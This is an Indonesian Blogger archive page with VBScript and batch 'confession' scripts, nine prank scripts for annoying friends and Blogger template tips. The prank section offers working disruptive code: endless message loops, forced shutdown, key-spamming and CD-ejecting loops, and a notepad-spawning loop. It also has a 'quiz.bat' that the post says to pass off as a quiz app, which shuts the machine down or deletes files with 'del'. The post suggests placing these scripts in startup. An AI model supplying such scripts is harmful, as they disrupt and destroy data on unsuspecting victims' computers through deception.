testblogkosong: Januari 2013| ID Blogger

Apakah Anda pernah berpikir untuk nembak cewek/cowok yang Anda sukai dengan melalui media komputer ?? pasti iya kan, tapi bagi anda yang tidak pernah menggunakan script mungkin hal ini yang sangat sulit untuk di lakukan. Rumit dan pasti kalo error akan tambah galau, gak jadi nembak malah bikin galau -__-

Nah, kali ini saya akan membagi cara yang mudah untuk nembak cewe/cowok yang Anda sukai itu dengan cara yang sangat simple, yaitu dengan hanya bermodalkan notepad dan sedikit bumbu-bumbu script pemrograman.
berikut ada beberapa script yg bisa digunakan

Dim Jika
Jika = InputBox (" Isikan kata-kata untuk nembak cewek/cowok yang Anda sukai ")
If UCase(Jika) = " isikan kata-kata yang menyatakan persetujuan, contoh : IYA(harus huruf besar)" Then
MsgBox " isikan kata-kata jika cewek/cowok yang Anda suka mengisikan kata persetujuan pada kotak dialog"
ElseIf UCase(Jika) = " isikan kata-kata yang menyatakan penolakan, contoh : TIDAK(harus huruf besar)" Then
MsgBox " isikan kata-kata jika cewek/cowok yang Anda suka mengisikan kata penolakan pada kotak dialog"
Else
MsgBox " isikan kata-kata yang jika cowok/cewek yang Anda sukai tidak menyatakan persetujuan/penolakan "
End If

simpan dengan format .vbs

Dim Jika
Jika = InputBox ("Eh,, tau nggak? Aku tu sebenernya dari dulu aku suka sama kamu. Kamu mau gak jadi pacarku? Ketik 'Y' kalo kamu mau, ato ketik 'T' kalo kamu nolak aku :( ")
If UCase(Jika) = "Y" Then
MsgBox "Aku pengen kita langgeng ~^_^~ "
ElseIf UCase(Jika) = "T" Then
MsgBox "Aku gak akan nyerah buat dapetin kamu!"
Else
MsgBox "Kamu salah tulis sayang, cuma bisa ketik Y ato T.. "
End If

simpa dgn .vbs

@ECHO off
:Begin
msg * hai...
msg * maaf kalau pesan ini agak membuatmu kaget...
msg * tapi bukan tujuanku untuk membuatmu kaget...
msg * sebenernya dari dulu ingin ku katakan perasaan ini yang gak berani ku katakan...
msg * bahwa aku....

msg * sayang...

msg * kamu...

msg * mau gak kamu terima cintaku ini ??

msg * walau sampai seribu tahun, akan ku tunggu jawabanmu...

GOTO BEGIN

simpan dgn.bat

Dim Jika
Jika = InputBox ("F** aku sayang bnget sama kamu, tapi kamu udah punyak T sekarang :(, tapi yng pasti ini aku buat cuman buat buktiin kalo aku sayang bnget sama kamu. Sekarang kamu plih si * apa si T f** ?? :D ketik * or T, lalu klik ok ^_^ ")
If UCase(Jika) = "*" Then
MsgBox "I Love You sayank, mmwah ~^_^~"
ElseIf UCase(Jika) = "T" Then
MsgBox "Never To Give Up ^_^"
Else
MsgBox "Pilihan hanya '*' untuk ya atau 'T' untuk tidak "
End If

.vbs

<html>
<head>
<title>Kunyatakan Cinta <3 </title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="author" content="http://www.javascriptbank.com/" />
<meta name="distribution" content="Global" />
<meta name="copyright" content="JavaScriptBank.com" />
<script type="text/javascript">
fl=1
function f1()
{
alert("Makasih yaaa... tolong kirim sms ke aku yaa... ")}
function f(){
if(fl==1)
{

Bn.style.top=90
Bn.style.left=500
fl=2
}
else if(fl==2)
{
Bn.style.top=90
Bn.style.left=50
fl=3
}
else if(fl==3)
{
Bn.style.top=235
Bn.style.left=360
fl=1
}
}
</script>
<style type="text/css">

</style></head>
<body>

<div id="By" style="position:absolute; left:615px; top:380px; width:50px;height:198px;">

<input type="button" value=" YES " onClick="f1()" />
</div>
<div ID="Bn" style="position:absolute; left:688px; top:380px; width:210px; height:210px;">
<input name="button" type="button" onMouseOver="f()" value=" NO " />
</div>

<p align="center" class="style1">WAJAHMU BAGAI SINAR REMBULAN YANG MENYINARI HATIKU *_*</p>
<hr> <hr>
<p align="center" class="style2">Sejak Pertama Mengenalmu,betapa senang hatiku..!!</p>
<p align="center" class="style2">Tapi rasaku ini t' pernah sampai kehatimu dengan nyali dan lisan yang kupunya</p>
<p align="center" class="style2">Dan sebenarnya rasa ini t' pernah bohong untuk memungkiri semua ini</p>
<p align="center" class="style2">Dari itu kubuat design web ini untuk menyuntikan script ini kelubuk hatimu </p>
<p align="center" class="style2">Sekarang waktunya kusampaikan itu...</p>
<p align="center" class="style2">Aku suka kamu dan aku sayang kamu</p>
<div align="center" class="style3">MAUKAH KAU JADI KEKASIH HATIKU ?????
</div>
<p class="style1">  </p>
<p> </p>
</BODY>

</html>

simpan dengan.html

Bikin 9 script Buat Iseng Pada Teman

Terinspirasi dari kompinya sobat yang bisa yg bikin cd/dvd eject mlulu....
kali ini lughot pengen share script2 lain yg lumayan ngeselin orang...
dan ada yang berguna juga tergantung gimana temen2 modif kata2 nya
bisa di kombinasiin sendiri yah....misal nya di taruh di startup..

buka notepad lalu copy paste script di bawah.....

1.message yang nongol melulu

@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

save namafile.BAT
ket:
walaupun di kill task manager,masih tetep nongol message nya
kata2 nya bisa diganti sesuai selera masing2...
apalagi yg sedang jatuh cinta...kasih tuh ke gebetan lu...
di kirain cinta gila...

2.bikin shutdown+message

@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"

save namafile.BAT

3.Mainin Caps Lock button

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

save namafile.vbs

4.buka tutup CD/DVD

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save namafile.vbs
ampir mirip ama punya nya habs

5.bikin vbscript nongol mlulu

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

save namafile.vbs
ket:di task manager full wscript yg lg running

6.teken tombol backspace mlulu

MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

save namafile.vbs

7.otomatis ngetik "lu jelek banget sih" di notepad/word

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loop

save namafile.vbs

8.buka notepad trus menerus

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

save namafile.BAT
ket:termasuk yang ngeselin banget nih
bisa di ganti,terserah mau buka cmd ato buka yg lain..ganti aja dir nya.

9.otomatis buka notepad lalu ngetik apa yg lo mau

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

save namafile.vbs
ket:
ini salah satu script favorit salah satu sobat lughot...dulu pernah digunakan buat nembak cewek pake cara ini..
dia rangkai pake kata2nya...trus durasi ngetik nya juga di lambatin...
nama file nya isihatiku.vbs..
angka2 di atas bisa di modif sendiri (durasi nongol notepad/ngetiknya)

Tambahan :
dari script diatas sobat-sobat bisa kembangin aja lagi...misal kayak gini nih

@echo off
title quiz hari ini :)
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

nah script diatas save jadi quiz.bat kasih ke temen..
pura2 aj bilang ad aplikasi kuis...
ket di atas :
kalo pilih 1.otomatis matiin computer
2.format file (terserah file apaan ganti aj dir nya)
3.sama aj kayak pilihan 1
kata2 di atas di ganti2 aj sesuai selera temen2

sekian kumpulan script2 yang jail
selamat mencoba. Jika sobat ingin mendownload semua script diatas udah lughot sediakan. Silakan download disini

Anda sedang membaca artikel tentang Januari 2013 dan anda bisa menemukan artikel Januari 2013 ini dengan url http://testblogkosong.blogspot.com/2013/01/apakah-anda-pernah-berpikir-untuk.html,anda boleh menyebar luaskannya atau mengcopy paste-nya jika artikel Januari 2013 ini sangat bermanfaat bagi teman-teman anda,namun jangan lupa untuk meletakkan link Januari 2013 sumbernya.

nah bagi para sahabat blogger, khususnya pemula seperti komputer rifai pasti pengen blognya gk banyak tulisan/link2 gk penting kan..?? ~~(emang~~ Tulisan “Powered by Blogger” pada Blog di blogger.com
~~gk penting yakh..?? itu hak cipta tau..)~~ wkwkwk,, mohon maaf,, mungkin ini melanggar peraturan dari bogspot karena itu memang tidak boleh diganti, tapi apa boleh buat, itu harus kita hilangkan supaya blog lebih keren,,

Oke biar gk berpanjang lebar,, langsung aja yuk kita bahas Cara Menghilangkan Tulisan “Powered by Blogger” pada Blog di blogger.com

Ikutin langkahnya ya sahabat.:

1.    Seperti biasa, masuk ke Dashboard Blogger.com

2.    Masuk ke Design/Rancangan

3.    Pilih Edit HTML

4.    Centang” check box Expand Widget Templates.

5.    Cari Kode di bawah ini, untuk memudahkan pencarian, gunakan Find (Ctrl+F)


6. Setelah ketemu, perhatikan di bawah kode tersebut, akan ada banyak kode-kode seperti berikut:

<b:section class='foot' id='footer-3' showaddelement='no'>

<b:widget id='Attribution1' locked='true' title='' type='Attribution'>

<b:includable id='main'>
<b:if cond='data:feedbackSurveyLink'> <div class='mobile-survey-link' style='text-align: center;'> <data:feedbackSurveyLink/> </div> </b:if> <div class='widget-content' style='text-align: center;'> <b:if cond='data:attribution != ""'> <data:attribution/> </b:if> </div> <b:include name='quickedit'/> </b:includable> </b:widget> </b:section>

7. Selanjutnya BLOK/LABUR/SELEKSI kode-kode tersebut. JANGAN SAMPAI Ketinggalan yakh..

8. Setelah terSELEKSI semuanya, Lalu HAPUS kode tersebut.

9. SIMPAN TEMPLATE,

10. Biasanya akan muncul peringatan/WARNING. Disini klik aja DELETE WIDGETS

11. OKE,, sekarang view blog,, dan lihat hasilnya..

Berikut adalah langkah-langkah untuk menghilangkan navbar blog

Silahkan login ke blogger dengan ID anda
Klik Menu dropdown lalu pilih Tata letak
Klik Edit pada widget Navbar
Setelah muncul pilihan, pilih Off
Klik tombol Simpan.
Selesai. Kini navbar blog anda telah hilang.

Sebelum cara ini ada, seringkali banyak blogger menambahkan kode CSS untuk menyembunyikan tampilan navbar. Pada dasarnya teknik tersebut hanya menyembunyikan saja bukan menghilangkan, sehingga navbar blog tetap di load oleh browser. Bila anda masih menggunakan teknik tersebut, sebaiknya anda beralih ke cara baru seperti yang saya ajarkan diatas, selain ini adalah cara yang legal juga navbar blogger benar-benar hilang dan bukan hanya sekedar disembunyikan sehingga blog anda akan di load oleh browser lebih cepat dari sebelumnya dan tentu ini lebih SEO friendly.

Anda sedang membaca artikel tentang Januari 2013 dan anda bisa menemukan artikel Januari 2013 ini dengan url http://testblogkosong.blogspot.com/2013/01/cara-menghilangkan-navbar-terbaru-blog.html,anda boleh menyebar luaskannya atau mengcopy paste-nya jika artikel Januari 2013 ini sangat bermanfaat bagi teman-teman anda,namun jangan lupa untuk meletakkan link Januari 2013 sumbernya.

testblogkosong

Sabtu, 05 Januari 2013

0 d

Bikin 9 script Buat Iseng Pada Teman

Selasa, 01 Januari 2013

0 cara menghilangkan navbar terbaru blog dan menghapus diberdayakan oleh blogger

Friend banner

cara membuat ini

My Banner

[ Categories ]

[ Archives ]